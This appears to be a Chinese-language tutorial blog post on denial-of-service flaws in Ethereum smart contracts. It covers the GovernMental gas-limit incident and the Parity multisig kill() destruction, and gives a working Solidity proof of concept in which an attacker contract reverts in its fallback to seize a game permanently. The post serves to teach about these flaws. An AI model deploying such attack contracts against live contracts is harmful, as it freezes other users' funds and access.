Contents

#DASP# Denial of Services (5)

0x00 Info

在智能合约中,当 超过gas限制异常抛出非预期的终止合约访问控制被破坏 均会产生合约拒绝服务问题。 本篇就介绍DASP第五大漏洞–Denial of Service

0x01 Real World Impact

GovernMental

起因:GovernMental’s 1100 ETH jackpot payout is stuck because it uses too much gas

官网:GovernMental

源码:etherscan code

GovernMental本身是个嘲讽政府庞氏骗局的游戏合约,其规则大概为投资者捐最少1ETH给政府,如果政府在最近12小时内没有收到任何捐赠,则将奖金发给最后一名投资人,而如果收到奖励,则按一定比例分别将钱分给资金池、政府及投资人。

其中在大于12小时未收到赞助的逻辑分支中,将奖金分给最后一名投资人后会重置所有投资人:

if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp) {
    // Return money to sender
    msg.sender.send(amount);
    // Sends all contract money to the last creditor
    creditorAddresses[creditorAddresses.length - 1].send(profitFromCrash);
    corruptElite.send(this.balance);
    // Reset contract state
    lastCreditorPayedOut = 0;
    lastTimeOfNewCredit = block.timestamp;
    profitFromCrash = 0;
    creditorAddresses = new address[](0);    // out of gas!
    creditorAmounts = new uint[](0);         // out of gas!
    round += 1;
    return false;
}

以上标注out of gas的两行在底层运行时,代码会循环遍历存储位置并逐个删除,如果creditors过多的话,会消耗大于当前最大gas数量导致合约失效。

Governmental Attack:简化版的Governmental及其EXP利用。

Parity kill()

Parity Multisig Hacked. Again

A Postmortem on the Parity Multi-Sig Library Self-Destruct

这个其实在#DASP# Access Control (3)一篇中已经介绍,还是利用访问控制漏洞接管parity钱包,然后不是取钱还是调用合约中kill函数销毁合约,从而导致任意用户都无法继续使用。

// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
}

0x02 Example

实例来源于DASP,模仿King of the Ether游戏规则,当你向合约发送比现在price多的eth时,你就可以成为总统,之前的总统会收到当前price的补偿,且当前price翻倍。 而争夺者为一个合约且在fallback函数中恶意抛出异常,则可以破坏游戏规则永远成为总统。

contract PresidentOfCountry {
    address public president;
    uint256 public price;

    function PresidentOfCountry(uint256 _price) {
        require(_price > 0);
        price = _price;
        president = msg.sender;
    }

    function becomePresident() payable {
        require(msg.value > price); // must pay the price to become president
        president.transfer(price);   // we pay the previous president
        president = msg.sender;      // we crown the new president
        price = price * 2;           // we double the price to become president
    }
}

contract Attack {
    function () { revert(); }

    function Attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
    }
}

Attack合约部署后通过构造函数调用PresidentOfCountry合约的becomePresident()函数,同时发送大于price的eth,则执行becomePresident逻辑,1. 向之前的账户发送price补偿;2. 自己合约账户变为president;3. price翻倍。

当其他正常账户参与游戏调用becomePresident逻辑时,同样会向attach合约地址(当前president)发送price,正因为当前president不是普通账户还是合约账户,transfer会触发合约中fallback函数,而恶业攻击者在fallback中执行了revert(),导致异常,从而无法执行后续变更总统和价格的逻辑。造成合约DOS。

可以再remix中模拟上述操作。

0x03 Others

除了智能合约,链核心、链节点、区块链相关的网址都会出现DOS。